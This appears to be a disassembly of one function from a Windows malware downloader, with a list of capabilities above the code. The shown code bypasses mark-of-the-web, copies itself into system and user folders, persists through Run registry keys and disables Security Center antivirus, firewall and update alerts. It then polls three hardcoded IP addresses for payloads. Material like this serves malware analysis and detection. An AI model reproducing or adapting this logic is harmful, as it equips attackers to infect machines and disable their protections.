Function at 0x401840
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Delete file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xed4
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.xouauxuax]
mov dword [ebp - 0x444], eax
mov ecx, dword [0x4035d4]
mov dword [ebp - 0x440], ecx
mov dx, word [0x4035d8]
mov word [ebp - 0x43c], dx
mov ecx, 7
mov esi, str.winploravr.exe
lea edi, [ebp - 0xac8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 8
mov esi, str.Windows_Service
lea edi, [ebp - 0x438]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x688], str.http:__185.215.113.66_
mov dword [ebp - 0x684], str.http:__91.202.233.141_
mov dword [ebp - 0x680], str.http:__193.233.132.177_
mov dword [ebp - 0x89c], 0x403664
mov dword [ebp - 0x898], 0x403668
mov dword [ebp - 0x894], 0x40366c
lea eax, [ebp - 0x444]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xecc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401909
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x67c], 0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x46c], 0
xor ecx, ecx
mov dword [ebp - 0x468], ecx
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x460], ecx
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x458], ecx
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x450], ecx
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x448], ecx
push 0x104
lea edx, [ebp - 0x418]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
lea ecx, [ebp - 0x418]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00401000
lea ecx, [ebp - 0xac8]
push ecx
mov edx, dword [ebp - 0x210]
push edx
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
je 0x401b7c
call fcn.00401740
movzx eax, al
cmp eax, 1
jne 0x4019e7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea ecx, [ebp - 0xaa8]
push ecx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xac8]
push edx
lea eax, [ebp - 0xaa8]
push eax
push 0x4036ac
lea ecx, [ebp - 0x890]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x890]
push edx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401aac
push 3
lea ecx, [ebp - 0x890]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x67c]
push edx
push 0x20006
push 0
push 0x4036b8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401aac
lea eax, [ebp - 0x890]
push eax
call sub.MSVCR90.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x890]
push edx
push 1
push 0
lea eax, [ebp - 0x438]
push eax
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0xec8]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0xac8]
push ecx
lea edx, [ebp - 0xec8]
push edx
push 0x403734
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x678]
push ecx
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401b7c
push 3
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x67c]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401b7c
lea edx, [ebp - 0x678]
push edx
call sub.MSVCR90.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x678]
push ecx
push 1
push 0
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x67c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x67c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401c93
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4037c4
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x4037d8
mov eax, dword [ebp - 0x67c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4037f0
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x403804
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x403818
mov eax, dword [ebp - 0x67c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x403830
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x403840
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x67c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d9f
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x67c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x67c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x67c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x67c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xed0], 0
jmp 0x401dc5
mov ecx, dword [ebp - 0xed0]
add ecx, 1
mov dword [ebp - 0xed0], ecx
cmp dword [ebp - 0xed0], 3
jae 0x401e8c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xed4], 0
jmp 0x401df8
mov edx, dword [ebp - 0xed4]
add edx, 1
mov dword [ebp - 0xed4], edx
cmp dword [ebp - 0xed4], 3
jae 0x401e87
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xed4]
mov ecx, dword [ebp + eax*4 - 0x89c]
push ecx
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp + edx*4 - 0x688]
push eax
push str._s_s
lea ecx, [ebp - 0xcc0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0xcc0]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov eax, dword [ebp - 0xed4]
lea ecx, [ebp + eax*4 - 0x46c]
push ecx
lea edx, [ebp - 0xcc0]
push edx
call fcn.00401790
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x401e82
lea ecx, [ebp - 0xcc0]
push ecx
call fcn.00401320
add esp, 4
jmp 0x401de9
jmp 0x401db6
push 0xdbba0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401daa